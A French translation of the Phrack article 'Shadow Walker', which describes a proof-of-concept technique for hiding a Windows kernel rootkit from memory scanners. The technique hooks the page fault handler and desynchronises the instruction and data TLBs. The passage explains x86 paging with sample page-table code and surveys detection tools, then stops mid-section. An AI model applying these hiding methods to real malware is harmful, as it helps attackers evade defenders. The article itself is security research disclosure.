==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x14 |=-------------------------=[ Shadow Walker ]=---------------------------=| |=--------=[ Raising The Bar For Windows Rootkit Detection ]=------------=| |=-----------------------------------------------------------------------=| |=---------=[ Sherri Sparks ]=---------=| |=---------=[ Jamie Butler ]=---------=| |=---------=[ Traduit par Aryliin et TboWan pour arsouyes.org ]=---------=| 0 - Introduction et contexte 0.1 - Motivations 1 - Détection de Rootkit 1.2 - Détection de l'effet d'un Rootkit (Heuristiques) 1.2 - Détecter le rootkit lui même (signatures) 2 - Analyse de l'architecture mémoire 2.1 - Mémoire virtuelle Pagination vs segmentation 2.2 - Table des pages & PTE 2.4 - Translation d'adresses virtuelles vers physiques 2.5 - Le rôle du gestionaire de défaut de pages 2.6 - Le problème de perforances de la pagination et le TLB 3 - Concept de camouflage mémoire 3.1 - Cacher du code exécutable 3.2 - Cacher des données 3.3 - Travaux en rapport 3.4 - Implémentation de la preuve de concept 3.4.a - Rootkit FU modifié 3.4.b - Moteur de détournement de la mémoire de Shadow Walker 4 - Limitations connues et impact sur les performances 5 - Détection 6 - Conclusion 7 - References 8 - Remerciements --[ 0 - Introduction et contexte Les rootkits ont historiquement eu des adaptations et des réponses co-évolutionnistes avec le développement de technologies de défence conçues pour contrecarrer leurs visées subversives. Si nous analysons l'évolution des technologies des rootkits, ce schéma est évident. Les rootikits de premières générations étaient primitifs. Ils remplaçaient/modifiaient simplement des fichiers clefs du système sur le système de la victime. Le programme UNIX de login était une cible commune et demandait que l'attaquant remplace le binaire originale avec une version malicieuse améliorée qui enregistrait le mot de passe. Puisque ces modifications des premiers rootkits étaient limitées au système de fichier, ça a lancé le développement d'outils de vérification de l'intégrité du système de fichiers comme Tripwire [1]. En réponse, les développeurs de rootikits ont fait leurs modifications en dehors du disque, dans l'image mémoire des programme chargés et, encore une fois, ont échapé à la détection. Cette "deuxième" génération de rootkits ont d'abords été basé sur des techniques de détournement qui altèrent le chemin d'exécution en faisant des patches mémoire des applications chargées et de certains composants systèmes comme la table des appels systèmes. Bien que plus furtives, ces modifications restent détectables par des recherches heuristiques d'anomalies. Par exemple, il est suspect qu'une table de services système contienne un pointeur qui pointe en dehors du noyau du système d'exploitation. C'est la technique utilisée par VICE [2]. La troisième génération de technique de rootkits noyaux comme la Direct Kernel Object Manipulation (DKOM) [NDT : Manipulation Direct d'Objets Noyaux], qui a été implémentée dans le rootkit FU [3], tire avantage des faiblesses des implémentations courantes des logiciels de détection en modifiant dynamiquement des structures de données noyau changantes, pour lesquelles il est d'impossible d'établir de niveau de référence statique de confiance. ----[ 0.1 - Motivations Toutes ces différentes techniques sont implémentées par au moins un rootikit public, cependant, même le rootkit windows le plus sophistiqué, comme FU, a un défaut inhérent. Ils corrompent essentiellement tous les sous-systèmes des systèmes d'exploitations sauf une : la gestion de la mémoire. Les rootkits noyaux peuvent controler le chemin d'exécution du code noyau, changer les données du noyau et fausser le valeurs de retour des appels systèmes, mais ils n'ont pas (encore) montré de capacité à intercepter ou fausser le contenu de la mémoire vu par une autre application. En d'autre mots, les rootkits noyaux publics sont des proies faciles pour les scans mémoire par signatures. C'est seulement maintenant que des compagnies commencent à penser à implémenter des scans de mémoire par signature. Se cacher des scans de mémoire est similaire au problème rencontré par les premiers virus, qui tentaient de se cacher dans le système de fichiers. Les auteurs de virus ont réagis face aux programmes anti-virus qui scannaient le système de fichier en développant des techniques polymorphiques et métamorphiques pour échaper à la détection. Le polymorphisme tente d'altérer l'image binaire d'un virus en remplacant des blocs de codes par d'autres blocs fonctionnellement équivalents mais qui ne se ressemblent pas (par exemple, utiliser un opcode différent pour faire la même tâche). Les codes polymorphiques altèrent donc l'apparence superficielle d'un bloc de code, mais ils ne changent pas fondamentalement l'apparence de la région mémoire vue par le scanner. Traditionnellement, il y a eu trois approches générale dans la détection de code malicieux : la détection d'abus, qui se base sur des signatures de codes; la détection d'anomalies, qui se base sur des heuristiques et des différences statistiques par rapport au comportement "normal"; et les tests d'intégrités, qui comparent une image courante du système de fichier en mémoire avec un repère de confiance. Un rootkit polymorphique (ou un virus) évite effectivement la détection basées sur signatures sur son code, mais tombe très vite sous le coup des détections d'anomalies ou d'intégrités parce qu'il ne peux pas facilement camoufler les changements qu'il fait au code binaire edxistant et aux autres composants du système. Maintenant, imaginez un rootkit qui ne fait aucun effort pour changer son apparence superficielle, parce qu'il est capable d'altérer fondamentalement la vue d'un détecteur sur une région mémoire arbitraire. Quand le détecteur tente de lire une région mémoire modifiée par le rootkit, il voit en fait une zone mémoire "normale", non altérée. Il n'y a que le rootkit qui voie la vraie zone mémoire modifiée. Un tel rootkit est clairement capable de comprometre toutes les méthodes de détection primaires à des degrés variables. Les implications à la détection d'abus sont évidents. Un scanner essayant de regarder la zone mémoire du rootkit chargé en mémoire à la recherche de signature de code récupèrera simplement une "fausse" zone aléatoire (par exemple, qui n'inclu pas son propre code). Il y a aussi des implications aux tests d'intégrités. Dans ces cas, le rootkit retourne retourne la vue non altérée de la mémoire à tous les autres processus autres que lui-même. Le programme de détection voit un code non-altéré, trouve un CRC ou un hash normal, et (en se trompant), assume que tout est bon. Finalement, toutes les détections d'anomalie se basant sur l'identification de caractéristiques de structures anormales seront dupes puisqu'elles récupèrent une vue "normale" du code. Un exemple de ceci pourrait être un scanner comme VICE qui tente d'identifier heuristiquement des détournements de fonctions inline par la présente d'un saut direct au début du corps de la fonction. Les rootkits courants, à l'exeption de Hacker Defender [4], n'on fait que de petits efforts pour introduire des techniques de polymorphisme viral, voir aucun effort du tout. Comme dit plus haut, bien que ça soit une technique intéressante, le polymorphisme n'est pas une solution adaptée au problème des rootkits parce qu'ils ne peuvent pas facilement camoufler les changements qu'ils doivent faire au code existant pour installer leurs détournements. Notre objectif est donc de montrer une preuve de concept que les architectures permettent de détourner la gestion mémoire pour qu'un rootkit noyau non polymorphique (ou un virus) soit capable de controler la façon de voir une zone mémoire du système d'exploitation et des autres processus avec un cout d'exécution minimal. Le résultat final est qu'il est possible de cacher pour les détecteurs un rootkit "connu" (pour lequel une signature de code existe). À cette fin, nous avons conçu une version "améliorée" du rootkit FU. Dans la section 1, nous discutons des techniuqes de base pour détecter un rootkit. Dans la section 2, nous donnons un résumé des bases de l'architecture x86. La section 3 met l'accent sur les concept de camouflage mémoire et de l'implémentation de la preuve de concept pour notre rootkit amélioré. Enfin, nous concluons par une discussion sur sa détectabilité, ses limitations, ses extentions futures et de l'impact sur les performances. Sans plus de cérémonie, nous vous souhaitons la bienvenue dans l'ère des rootkits de 4ème génération. --[ 1 - Détection de Rootkit Jusqu'il y a quelques mois, la détection de rootkits était largement ignorée par les vendeurs en sécu. Beaucoup classaient érronnément les rootkits dans la même catégorie que d'autres virus et malwares. À cause de cela, les compagnies de sécurité continuent d'utiliser les mêmes tecniques de détection, la plus importante d'entre elles étant le scan de signatures dans le système de fichier. Ce n'est que partiellement efficace. Une fois qu'un rootkit est chargé en mémoire, il peut se supprimer du disque, cacher ses fichiers, ou même détourner une tentative d'ouverture du fichier du rootkit. Dans cette section, nous allons examiner les plus récentes avancées dans la détection de rootkits. ----[ 1.2 - Détection de l'effet d'un Rootkit (Heuristiques) Un méthode pour détecter la présence d'un rootkit est de détecter comment il altère d'autres paramètre sur le système de l'ordinateur. De cette façon, les effets du rootkit sont vu bien que le rootkit qui cause ces changements ne soit pas connu. Cette solution est une approche plus générale puisqu'aucune signature particulière de rootkit n'est nécessaire. Cette technique cherche aussi après le rootkit en mémoire et non sur le système de fichier. Un effet d'un rootkit est qu'il doit normalement altérer le chemin d'exécution d'un programme normale. En s'insérant lui-même au milieu de l'exécution du programme, il peut agir comme un Man In The Middle entre les fonctions noyaux utilisées par le programme et le programme lui-même. Dans cette position de force, le rootkit peut altérer ce que le programme voit et fait. Par exemple, le rootkit peut retourner un descripeur de fichier de logs différent de celui que le programme voulait ouvrir, ou le rootkit peut changer la destination de communication réseau. Ces patches et ces détournements impliquent d'exécuter des instructions supplémentaires. Quand une fonction patchée est comparée à une fonction normale, la différence du nombre d'instructions exécutées peut être indicatrice d'un rootkit. C'est la technique utilisée par PatchFinder [5]. L'un des défauts de PathFinder est que le CPU doit être en mode pas à pas pour pouvoir compter les instructions. Donc, pour chaque instruction exécutée, une interruption est générée et doit être gerée. Ceci ralenti les performances du système, ce qui est inconcevable sur une machine de production. En plus, le nombre effectif d'instruction exécutée peut varier, même sur un système sain. Un autre outil de détection de rootkit, appelé VICE, détecte la présente de détournements dans les applications et dans le noyau. VICE analyse les adresses des fonctions exportées par le système d'exploitation pour chercher les détournements. Les fonctions exportées sont des cibles typiques des rootkits parce que les rootkits peuvent se cacher en filtrant certaines API. En découvrant les détournements eux-mêmes, VICE évite le problème associé au comptage des isntructions. Cependant, VICE se base aussi sur certaines API, il est donc possible pour un rootkit de le vaincre [6]. La plus grande faiblesse courante de VICE est qu'il détecte tous les détournements, malicieux et bénin. Le détournement est une méthode légitime utilisée par beaucoup de produits de sécurités. Une autre approche pour détecter les effets des rootkits est d'identifier les mensonges du système d'exploitation. Le système d'exploitation offre une API connue pour que les applications puissent interragir avec lui. Quand un rootkit altère le résultat d'une API particulière, c'est un mensonge. Par exemple, Windows Explorer peut demander le nombre de fichier dans un répertoire d'un répertoire en utilisant différentes fonctions de l'API Win32. Si un rootkit change le nombre de fichier que l'application peut voir, c'est un mensonge. Pour le détecter, un détecteur de rootkit a besoin de deux manière d'avoir une même information. alors, les deux résultats sont comparés. RootKitRevealer [7] utilise cette technique. Il appelle l'API la plus haute et compare ses résultats avec ceux de l'API de plus bas niveau. Cette méthode peut être court-circuitée par un rootkit s'il contrôle les fonctions au niveau le plus bas. RootKitRevealer ne se tracasse pas non plus d'altération de données. Le rootkit FU altère les structures de données noyau pour cacher ses processus. RootKitRevealer ne le détecte pas parce qu'à la fois les API des couches hautes et basses retournent les mêmes structures altérées. Blacklight de F-Secure [8] essaye aussi de détecter les déviations de la vérité. Pour détecter les processus cachés, il se base sur des structures noyau non documentées. De la même manière que FU parcour la liste chainée des processus à cacher, Blacklight parcours la liste chainée des tables de gestion dans le noyau. Chaque processus à une table de gestion ; et donc, en identifiant toutes les tables de gestion, Blacklight peut trouver un pointeur vers chaque processus sur l'ordinateur. FU a été amélioré pour retirer les processus cachés de la liste chainée des tables de gestion. Cette course à l'armement continuera. ----[ 1.2 - Détecter le rootkit lui-même (signatures) Les compagnies d'anti-virus ont montré que scanner le système de fichier à la recherche de signatures peut être efficace ; cependant, ça peut être compromis. Si l'attaquant camoufle le binaire en utilisant des fonctions de packers, la signature ne correspondra plus au rootkit. Une signature du rootkit tel qu'il s'exécute en mémoire est une façon de résoudre le problème. Certains systèmes de prévention d'intrusions basées sur l'hôte (HIPS - host based intrusion prevention systems) essayent d'éviter que le rootkit soit chargé. Cependant, il est extrêment difficile de bloquer toutes les manières que du code soit chargé en mémoire. Des papiers récents de Jack Barnaby [9] et Chong [10] ont soulignés le problème des exploits noyaux, qui permettent à du code arbitraire d'être chargé en mémoire et exécuté. Bien que le scan du système de fichier et la détection de chargement soient nécessaires, la dernière couche de détection est peut-être le scan de la mémoire elle-même. Elle fournis une couche de sécurité si le rootkit a contourné les tests précédents. La signature en mémoire est plus fiable parce que le rootkit doit se dépacker ou se déchiffrer pour s'exécuter. Le scan mémoire peut tout aussi bien être utilisé pour trouver un rootkit ou être utilisé pour vérifier l'intégrité du noyau lui-même puisqu'il a une signature connue. Scanner la mémoire noyau est aussi beaucoup plus rapide que de scanner tout ce qu'il y a sur le disque. Arbaugh et. al. [11] on poussé cette technique au niveau supérieur en implémentant un scanner sur une carte séparée avec son propre CPU. La section suivante expliquera l'architecture mémoire sur Intel x86. --[ 2 - Analyse de l'architecture mémoire Dans l'histoire des premiers ordinateurs, les programmeurs étaient contraint par la quantité de mémoire physique contenue dans le système. Si un programe était trop gros pour entrer dans la mémoire, c'était au programmeur de se débrouiller pour diviser le programme en petit morceaux qui puissent être chargés et déchargés à la demande. Ces morceaux étaient appelés "overlays". L'obligation de ce type de gestion de mémoire des programmeurs au niveau utilisateur augmenta la complexité et les erreurs de programmations tout en réduisant l'efficacité. La mémoire virtuelle a été inventée pour désengorger les programmeurs de cette charge. ----[ 2.1 - Mémoire virtuelle - Pagination vs segmentation La mémoire virtuelle est basée sur la séparation de l'espace d'adressage virtuel et physique. La taille de l'espace d'adressage virtuel est fonction directe de la taille du bus d'adresse tandis que la taille de l'espace d'adressage physique dépend de la quantité de RAM installée dans le système. Donc, un système utilisant des bus de 32 bits est capable d'adresser 2^32 (ou ~ 4Go) d'octets physiques de mémoire contigüe. On ne trouvera souvent pas toute cette quantité de mémoire installée. Si c'est le cas, l'espace d'adressage virtuel sera plus grand que l'espace physique. La mémoire virtuelle divise à la fois l'espace d'adressage physique et virtuel en blocks de taille fixe. Si les blocks sont tous de même taille, on dit que le système utilise un modèle de mémoire paginée. Si les blocks sont de tailles différentes, on considère qu'il utilise un modèle de segmentation. L'architecture x86 est en fait hybride, utilisant à la fois la segmentation et la pagination, cependant, cet article se focalisera surtout sur l'exploitation des mécanismes de pagination. Sous le modèle de pagination, les blocks de mémoire virtuelles sont appellés pages et ceux de mémoire physique sont appellés cadres [NDT : frames]. Chaque page mémoire correspond à un cadre physique. C'est ce qui permet à l'espace d'adressage virtuel vu par un programme d'être plus grand que la quantité de mémoire physique (par exemple, il peut y avoir plus de pages virtuelles que de cadres physiques). Ça veut aussi dire que les pages virtuelles contigües ne doivent pas nécessairement être physiquement contigües. Ce point est illustré par la figure 1. ESPACE D'ADRESSAGE ESPACE D'ADRESSAGE VIRTUEL PHYSIQUE /-------------\ /-------------\ | | | | | PAGE 01 |---\ /----------->>>| CADRE 01 | | | | | | | --------------- | | --------------- | | | | | | | PAGE 02 |------------------->>>| CADRE 02 | | | | | | | --------------- | | --------------- | | | | | | | PAGE 03 | \---|----------->>>| CADRE 03 | | | | | | --------------- | \-------------/ | | | | PAGE 04 | | | | | |-------------| | | | | | PAGE 05 |-------/ | | \-------------/ [ Figure 1 - Correspondance mémoire virtuelle/physique (pagination) ] [ ] [ NOTE : 1. L'espace d'adressage physique et virtuel est divisé en ] [ blocks de taille fixe. 2. L'espace d'adressage virtuel peut être ] [ plus grand que l'espace d'adressage physique. 3. Des blocks ] [ virtuels contigüs ne doivent pas forcément correspondre à des ] [ cadres physiquement contigüs ] ----[ 2.2 - Table des pages & PTE Les informations de correspondances qui mettent en relation adresse virtuelles et cadres physiques sont stockées dans une table de page dans des structure connue en tant que PTE's. Les PTE's enregistrent aussi des informations de status. Les bits de status indiquent, par exemple, si la page est valide ou pas (physiquement présente en mémoire ou stockée sur le disque), si on peut y écrire, ou si c'est une page utilisateur / superutilisateur. La figure 2 montre le format d'un TPE pour x86. Valid <------------------------------------------------\ Read/Write <--------------------------------------------\ | Privilege <----------------------------------------\ | | Write Through <------------------------------------\ | | | Cache Disabled <--------------------------------\ | | | | Accessed <---------------------------\ | | | | | Dirty <-----------------------\ | | | | | | Reserved <-------------------\ | | | | | | | Global <---------------\ | | | | | | | | Reserved <----------\ | | | | | | | | | Reserved <-----\ | | | | | | | | | | Reserved <-\ | | | | | | | | | | | | | | | | | | | | | | | +----------------+---+----+----+---+---+---+----+---+---+---+---+-+ | | | | | | | | | | | U | R | | | PAGE FRAME # | U | P | Cw | Gl | L | D | A | Cd | Wt| / | / | V | | | | | | | | | | | | S | W | | +-----------------------------------------------------------------+ [ Figure 2 - format TPE x86 (Page sur 4 octets) ] ----[ 2.4 - Translation d'adresses virtuelles vers physiques Les adresse virtuelles contiennent les informations nécessaire pour trouver leur PTE dans la table des pages. Elles sont divisées en deux parties : le numéro de page virtuelle et l'index de d'octet. Le numéro de page virtuel nous donne l'entrée dans la table des pages et l'index d'octet fournis l'offset l'offset au sein du cadre physique. Quand une référence mémoire à lieu, on cherche le PTE dans la table des pages en ajoutant à l'adresse de base de la table des pages, le numéro de la page virtuelle * la taille d'une entrée dans la PTE. L'adresse de base de la page en mémoire physqique est alors extraite du PTE et combinée avec l'offset de l'octet pour avoir l'adresse physique à envoyer à l'unité de mémoire. Si l'espace d'adressage virtuel est particulièrement grand et que les tailles des pages sont particulièrement petites, il est évident que ça nécessitera d'avoir une grande table de pages pour garder toutes les informations de correspondances. Et puisque la table des pages doit rester en mémoire principale, une grande table peut être couteuse. Une solucion à ce dilemne est d'utiliser un schéma de pagination à plusieurs niveaux. Un schéma de pagination à deux niveau, en fait, pagine la table des pages. Il divise ensuite le numéro de page virtuelle en un répertoire de pages, et un index dans la table. Ce schéma de pagination à deux niveaux est celui supporté par x86. La figure 3 illustre comment l'adresse virtuelle est divisée en un index dans le répertoire des pages et en table de page, et la figure 4 illustre le processus de translation d'adresse. +---------------------------------------+ | 31 12 | 0 | +----------------+ +----------------+ | +---------------+ | | INDEX DE | | INDEX DE | | | INDEX D'OCTET | | | RÉPERTOIRE | | PAGE | | | | | +----------------+ +----------------+ | +---------------+ | 10 bits 10 bits | 12 bits | | | NUMÉRO DE PAGE VIRTUELLE | +---------------------------------------+ [ Figure 3 - adresses x86 & schéma d'indexation de la table des pages ] +--------+ /-|KPROCESS| | +--------+ | Adresse virtuelle | +------------------------------------------+ | | Index de rep. | Index de | Index | | | de pages | table | d'octet | | +-+-------------------+-------------+------+ | | +---+ | | | | |CR3| Adresse | | | | +---+ physique du | | | | rep. de page| | | | | \--------\ | | | | | | Repertoire | Table | Mémoire physique \---|->+------------+ | /-->+------------+ | /->+------------+ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |------------| | | | | | | | | | | | | |------------| | | | | | | | Cadre | \->| PDN |---|-/ | | | | | de Page | |------------| | | | \--|----> | | | | | | | |------------| | | | | | | | | | | | | | | | | | | | | | | | | | | | |------------| | | | | | \---->| PFN -------/ | | | | |------------| | | +------------+ +------------+ +------------+ (1 par process) (512 par processs) [ Figure 4 - Translation d'adresse x86 ] Un acces mémoire sous un schéma de pagination en deux niveaux implique potentiellement la séquence d'étapes suivantes : 1. Chercher l'entrée dans le répertoire des pages (PDE). PDE = adresse de base du répertoire + taill(PDE) * index dans le répertoire (extrait de l'adresse virtuelle qui cause l'accès mémoire). NOTE : Windows charge le répertoire de pages à l'adresse virtuelle 0xC0300000. L'adresse de base pour les répertoires de pages sont toujours localisées dans le block KPROCESS et le registre CR3 contient l'adresse physique du répertoire de pages courant. 2. Recherche de l'entrée dans la table des pages. L'entrée = adresse de base de la table + taille(PTE) * index dans la table des pages (extrait de l'adresse virtuelle qui cause l'accès mémoire). NOTE : Windows charge la table des pages à l'adresse virtuelle 0xC0000000. L'adresse de base physique des tables de pages est aussi stocké dans l'entrée du répertoire de pages. 3. Recherche de l'adresse physique. L'adresse = Contenu du PTE + index d'octet. NOTE : le PTE contient l'adresse physique du cadre physique. C'est combiné avec l'index d'ocet (offset dans le cadre) pour former une adresse physique complète. Pour ceux qui préfèrent le code aux explications, les deux procédures suivantes montrent comment la translation à lieu. La première procédure effectue les deux premières étapes ci-dessus. Elle retourne un pointeur vers l'entrée de la table de spages pour une adresse virtuelle donnée. La deuxième procédure retourne l'adresse physique de base du cadre qui correspond à la page. #define PROCESS_PAGE_DIR_BASE 0xC0300000 #define PROCESS_PAGE_TABLE_BASE 0xC0000000 typedef unsigned long* PPTE; /************************************************************************** * GetPteAddress - Retourne un pointeur vers l'entrée de la table des pages * correspondant à une adresse mémoire donnée. * * Paramètres : * PVOID VirtualAddress - Adresse pour laquelle vous voulez un * pointeur vers l'entrée de la table des * pages. * * Retourne - Pointeur vers l'entrée de la table des pages pour * VirtualAddress ou un code d'erreur. * * Codes d'erreurs : * ERROR_PTE_NOT_PRESENT - La page de table pour l'adresse virtuelle * donnée n'est pas présente en mémoire. * ERROR_PAGE_NOT_PRESENT - La page contenant les données pour * l'adresse virtuelle n'est pas présente * en mémoire. **************************************************************************/ PPTE GetPteAddress( PVOID VirtualAddress ) { PPTE pPTE = 0; __asm { cli //inhibe les interruption pushad mov esi, PROCESS_PAGE_DIR_BASE mov edx, VirtualAddress mov eax, edx shr eax, 22 lea eax, [esi + eax*4] //pointeur vers le répertoire test [eax], 0x80 //est-ce une grosse page ? jnz Is_Large_Page //ça l'est mov esi, PROCESS_PAGE_TABLE_BASE shr edx, 12 lea eax, [esi + edx*4] //Pointeur vers le PTE mov pPTE, eax jmp Done //NOTE : Il n'y a pas de table de pages pour les grosses //pages parce que les cadres physiques sont contenus dans //dans le répertoire des pages. Is_Large_Page: mov pPTE, eax Done: popad sti //ré-autorise les interruptions }//end asm return pPTE; }//end GetPteAddress /************************************************************************** * GetPhysicalFrameAddress - Donne l'adresse physique de base à laquelle * correspond. Ça correspond aux bits 12 - 32 * du PTE * * Paramètres : * PPTE pPte - Pointeur vers le PTE dont vous voulez * * Retourne : L'adresse physique de la page **************************************************************************/ ULONG GetPhysicalFrameAddress( PPTE pPte ) { ULONG Frame = 0; __asm { cli pushad mov eax, pPte mov ecx, [eax] shr ecx, 12 //le cadre physique correspond aux //20 bits de poid fort mov Frame, ecx popad sti }//end asm return Frame; }//end GetPhysicalFrameAddress ----[ 2.5 - Le rôle du gestionaire de défaut de pages Puisque la plupart des processus n'utilise qu'une petite partie de leurs espace d'adressage virtuel, seul la portion utilisée est chargée en mémoire. Aussi parce que la mémoire physique sera surement plus petite que l'espace d'adressage virtuel, l'OS peut décharger les pages utilisée depuis le plus longtemps vers le disque (le fichier de pages) pour satisfaire les demandes mémoires courantes. L'allocation des cadres est gérée par le système d'exploitations. Si un processus est plus grand que la mémoire physique disponible, ou que le système d'exploitation n'a plus de cadres physiques libres, certaines des pages allouées doivent être swappées vers le disque pour faire de la place. Ces pages swappées sont stockées dans le fichier des pages. Les informations sur le fait qu'une page soit ou non en mémoire sont stockées dans l'entrée de la table des pages. Quand un accès mémoire à lieu, si la page n'est pas présente en mémoire principale, un défaut de page est généré. C'est le boulot du gestionnaire de défaut de page de résoudre les requêtes d'E/S en swappant une page peut utilisée si toutes les cadres physiques sont utilisés et d'ensuite rapporter la page requise depuis le fichier de pages. Quand la mémoire virtuelle est activée, chaque accès mémoire doit regarder dans la table des pages pour déterminer le cadre physique correspondant et s'il est ou pas présent en mémoire physique. Ça génère un surcoût de performances substantiel, surtout quand l'architecture est basées sur un schéma de pagination multi-niveaux comme pour le Pentium. Le déroulement du défaut de page lors d'accès méoire peut-être résumé de la façon suivante : 1. Regarder dans le répertoire de pages pour déterminer si la table de page est présente en mémoire. 2. Si non, une requête d'E/S est faite pour récupérer la table des pages depuis le disque. 3. Regarder dans la table des pages pour savoir si la page requise est présente en mémoire principale. 4. Si non, une requête d'E/S est faite pour récupérer la page depuis le disque. 5. Aller chercher l'octet requis dans la page. Et donc, chaque accès mémoire, dans le meilleur des cas, requièrt 3 accès mémoires, 1 pour récupérer le répertoire de page, 1 pour accéder à la table des pages, et 1 pour récupérer la donnée au bon offset. Dans le pire des cas, ça va requérir 2 E/S disques (si les pages sont swappées sur le disque). Donc, la mémoire virtuelle implique un gros coût de performances. ----[ 2.6 - Le problème de perforances de la pagination et le TLB Le "translation lookaside buffer" (TLB) a été introduit pour réduire ce problème. En gros, le TLB est un cache matériel qui garde les correspondances d'adresses virtuelles fréquentes. Puisque le TLP est implémenté en utilisant des mémoire à association très rapides, il peut être utiliser pour la translation beaucoup plus vite qu'en regardant dans la table des pages. Pour un accès mémoire, on cherche d'abord dans le TLB après une translation valide. Si elle est trouvée, on appelle ça une réussite du TLB. Sinon, c'est un ratage. Une réussite du TLB, donc, court-circuite la recherche lente dans la table des pages. Les TLB modernes ont un taux de réussite très élevé et impliquent rarement une pénalité en regardant la translation dans la table des pages. --[ 3 - Concept de camouflage mémoire L'un des buts d'un rootkit avancé est de cacher ses changement du code exécutable (par exemple, un patch statique du code). Évidement, il aimera aussi cacher son propre code. Le code, comme les données, sont en mémoire et on peut définir les accès mémoires de base de la façon suivante : - EXECUTE - READ - WRITE Techinquement parlant, nous savons que chaque page virtuelle correspond à un cadre physiue défini par un certain nombre de bits dans le PTE. Que se passerait-il si nous pouvions filtrer les accès mémoire EXECUTE et les faires correspondres à un autre cadre physique que les accès READ / WRITE ? Du point de vue d'un rootkit, ceci serait très avantageux. Considérons le cas d'un hook statique. Le code modifié fonctionnerait normalement, mais toute tentative de lire (c'est à dire le détecter) les changements du code serait divertis par un cadre physique "vierge" qui contien une vue de l'exécutable original, de code non altéré. Similairement, un driver rootkit voudrait se cacher lui-même en divertissant les accès READ dans sa zone mémoire vers une page contenant n'importe quoi, ou une page contenant la vue d'un code "inocent". Ceci impliquerait qu'il serait possible de tromper à la fois les scanneur de signatures et les surveillances d'intégrités. En fait, une fonctionnalité matérielle de l'architecture Pentium rend possible qu'un rootkit effectue ce quelques trucs avec un impact minimal sur les performances systèmes. Nous décrivons les détails dans la section suivante. ----[ 3.1 - Cacher du code exécutable Ironiquement, la méthode générale dont nous allons discuter est une extention offensive de techniques de protections existantes de débordement de pile connues comme PaX. Nous discutons brièvement de l'implémentation de PaX en 3.3 sous des travaux relatifs. Pour permettre de cacher du code exécutable, il y a au moins 3 choses qui doivent être prises en compte. 1. Nous avons besoin de filtrer les EXECUTE et les READ/WRITE. 2. Nous avons besoin de fausser les accès READ/WRITE quand ils sont détectés. 3. Nous devons garantir que les performances ne soient pas affectées. Le premier point concerne la façon de filtrer les accès en exécution des accès en lecture/écriture. Quand la mémoire virtuelle est activée, le restrictions d'accès mémoires sont renforcés en placant un bits dans le PTE qui spécifie si la page est en lecture seule ou en lecture-écriture. Sous architecture IA-32, cependant, toutes les pages sont exécutables. Et donc, il n'y a aucune manière officielle de filtrer les accès en exécution des autres accès et donc, de renforcer la sémantique "exécute seulement / diverti lecture-écriture" nécessaire pour que ce schéma fonctionne. On peut cependant piéger et filtrer les accès mémoire en marquant leur PTE comme non présente et en déviant le gestionnaire de défaut de page. Dans le gestionnaire de défaut de page, nous avons accès au pointeur d'instruction sauvé et à l'adresse fautive. Si le pointeur d'instruction est le même que la page fautive, alors, c'est un accès en exécution. Sinon, c'est une lecture/écriture. Comme l'OS utilise le bit de présence dans la gestion mémoire, nous devons aussi différencier entre les défauts de pages dûs à nos bidouilles des défauts normaux. La manière la plus simple est de demander que toutes les pages concernées soient dans une mémorie non paginée, ou explicitement verrouillées via l'API comme MmProbeAndLockPages. Le deuxième point concerne comment "fausser" les accès EXECUTE et READ / WRITE quand on les détectes (et en le faisant avec le plus petit impact sur les performances). Dans notre cas, l'architecture du TLB du Pentium vient à la rescousse. Le Pentium a un double TLB, un TLB pour les instructions et l'autre pour les données. Comme mentionné plus haut, le TLB met en cache les correspondances des pages virtuelles/physiques quand la mémoire virtuelle est activée. Normalement le ITLB et le DTLB sont synchronisés et contiennent les mêmes informations pour une même page. Bien que le TLB soit contrôlé par le matériel, on dispose de quelques méchanismes logiciels pour le manipuler. - Recharger cr3 supprime toutes les entrées du TLB sauf les globales. Ceci a lieu typiquement lors d'un changement de contexte. - Le invlpg supprime une entrée spécifiée du TLB. - Exécuter un accès vers des données implique que le DTLB charge les informations de correspondances pour la page qu'on accède. - Exécuter un call implique que l'ITLB charge les informations de correspondances pour la page contenant le code à exécuter correspondant au call. On peut filtrer les acces en exécution des acces en lecture / écriture et les tromper en désynchronisant les TLB's de telle façon que l'ITLB contienne une correspondance entre page virtuelle et cadre physique différente du DTLB. Ce processus est effectué comme suit : D'abord, un nouveau gestionnaire de défaut de page est installé pour gérer les accès aux pages camouflées. Ensuite, les pages-à-camoufler sont parquées comme non présentes et leurs entrées dans le TLB sont retirées par l'instruction invlpg. Ceci nous garantis que tous les prochains accès seront filtrés par notre gestionnaire de défaut de pages fraichement installé. Dans ce gestionaire, nous déterminons si un accès mémoire est du à une lecture/écriture en comparant le pointeur d'instruction sauvegardé et l'adresse demandée. Si elles correspondent, l'accès mémoire est une exécution. Dans l'autre cas, c'est du à une lecture/écriture. Le type d'accès détermine quel correspondance est manuellement incorporée dans l'ITLB ou le DTLB. La figure 5 montre une vue conceptuelle de cette stratégie. Enfin, il est important de note que les accès au TLB sont bien plus rapides que de faire une recherche dans la table des pages. En général, les défauts de pages sont coûteux. Donc, à première vue, il apparait que marquer les pages comme absentes va causer une grosse pénalité d'exécution. En fait, ce n'est pas le cas. Bien que nous marquions la page comme non présente, pour la plupart des accès mémoire, nous ne générons pas de défaut de page parce que les entrées sont mises en cache dans le TLB. Avec bien sûr l'exception des défauts initiaux après avoir marqué une page non présente et les défaut suivants qui résultent du retrait des entrées du TLB quand il devient plein. Donc, le principal job de notre nouveau gestionnaire de défaut de page est de charger explicitement et sélectivement les bonnes correspondances pour les pages camouflées dans l'ITLB et le DTLB. Tous les autres défauts de pages sont passé au gestionnaire du système d'exploitation. +-------------+ code du rootkit| CADRE 1 | Est-ce +-----------+ /------------->| | un accès| | | |-------------| du code?| ITLB | | | CADRE 2 | /------>|-----------|-----------/ | | | | VPN=12 | |-------------| | | Cadre=1 | | CADRE 3 | | +-----------+ | | | +-------------+ |-------------| Accès | PAGE TABLES | | CADRE 4 | Mémoire +-------------+ | | VPN=12 |-------------| | | CADRE 5 | | +-----------+ | | | | | |-------------| | | DTLB | contenu aléatoire | CADRE 6 | |------>|------------------------------------->| | Est-ce | VPN=12 | |-------------| un accès| Cadre=6 | | CADRE N | mémoire?+-----------+ | | +-------------+ [ Figure 5 - Fausser les lectures/écritures en désynchronisant le TLB ] ----[ 3.2 - Cacher des données Cacher des données est significativement moins optimal que cacher du code, mais peut être acompli si vous êtes près à en payer la pénalité de performances. Nous avons réussi à n'avoir qu'une pénalité minimale en cachant le code exécutable en profitant du fait que l'ITLB puisse contenir des informations différentes du DTLB. Le code peut s'exécuter très vite avec un minimum de défauts de pages parce que la correspondance est toujours présente dans l'ITLB (sauf dans les rares cas où 